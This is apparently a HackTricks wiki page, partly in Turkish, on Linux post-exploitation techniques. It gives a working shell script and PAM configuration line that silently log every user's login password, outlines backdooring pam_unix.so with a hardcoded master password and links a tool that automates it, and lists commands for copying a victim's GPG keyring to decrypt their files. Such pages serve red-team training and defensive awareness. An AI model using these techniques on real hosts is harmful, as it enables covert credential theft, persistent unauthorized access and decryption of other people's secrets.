Linux Post-Exploitation

Reading time: 5 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Sniffing Logon Passwords with PAM

Bir PAM modülünü, her kullanıcının girişte kullandığı her şifreyi kaydedecek şekilde yapılandıralım. PAM nedir bilmiyorsanız bakın:

PAM - Pluggable Authentication Modules

Daha fazla ayrıntı için original post. Bu sadece bir özet:

Teknik Genel Bakış: Pluggable Authentication Modules (PAM) Unix tabanlı sistemlerde kimlik doğrulamanın yönetilmesine esneklik sağlar. Giriş süreçlerini özelleştirerek güvenliği artırabilirler, ancak kötüye kullanıldıklarında risk oluştururlar. Bu özet, PAM kullanarak giriş kimlik bilgilerini yakalamaya yönelik bir tekniği ve bunu hafifletme stratejilerini özetlemektedir.

Kimlik Bilgilerinin Yakalanması:

  • toomanysecrets.sh adlı bir bash scripti, giriş denemelerini kaydetmek için hazırlanır; tarih, kullanıcı adı ($PAM_USER), parola (stdin aracılığıyla) ve uzak host IP'si ($PAM_RHOST) /var/log/toomanysecrets.log dosyasına kaydedilir.
  • Script çalıştırılabilir hale getirilir ve pam_exec.so modülü kullanılarak PAM yapılandırmasına (common-auth) entegre edilir; modüle sessiz çalışması ve kimlik doğrulama belirtecini script'e iletmesi için seçenekler verilir.
  • Bu yaklaşım, ele geçirilmiş bir Linux host'unun kimlik bilgilerini gizlice kaydetmek için nasıl sömürülebileceğini gösterir.
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

For further details check the original post. Bu sadece bir özet:

Pluggable Authentication Module (PAM), Linux altında kullanıcı kimlik doğrulaması için kullanılan bir sistemdir. Üç ana kavram üzerine çalışır: username, password, ve service. Her service için yapılandırma dosyaları /etc/pam.d/ dizininde bulunur; kimlik doğrulama shared library'ler tarafından yürütülür.

Objective: PAM'i, gerçek kullanıcı parolasını atlayarak belirli bir parola ile kimlik doğrulamaya izin verecek şekilde değiştirmek. Bu özellikle parola doğrulama için neredeyse tüm servisler tarafından include edilen common-auth dosyası tarafından kullanılan pam_unix.so shared library'si üzerinde yoğunlaşır.

Steps for Modifying pam_unix.so:

  1. Locate the Authentication Directive in the common-auth file:
  • The line responsible for checking a user's password calls pam_unix.so.
  1. Modify Source Code:
  • Add a conditional statement in the pam_unix_auth.c source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
  1. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  2. Testing:
  • Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.

tip

You can automate this process with https://github.com/zephrax/linux-pam-backdoor

Decrypting GPG loot via homedir relocation

Şifrelenmiş bir .gpg dosyası ve bir kullanıcının ~/.gnupg klasörünü (pubring, private-keys, trustdb) bulduğunuzda ama GnuPG homedir izinleri/lock'ları nedeniyle decrypt yapamıyorsanız, keyring'i yazılabilir bir yere kopyalayın ve bunu GPG home olarak kullanın.

Bunun olmaması durumunda göreceğiniz tipik hatalar: "unsafe ownership on homedir", "failed to create temporary file", veya "decryption failed: No secret key" (çünkü GPG orijinal homedir'i okuyup/yazamıyor).

Workflow:

bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

Eğer gizli anahtar materyali private-keys-v1.d içinde bulunuyorsa, GPG passphrase sormadan unlock ve decrypt eder (anahtar korumalıysa passphrase istenir).

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin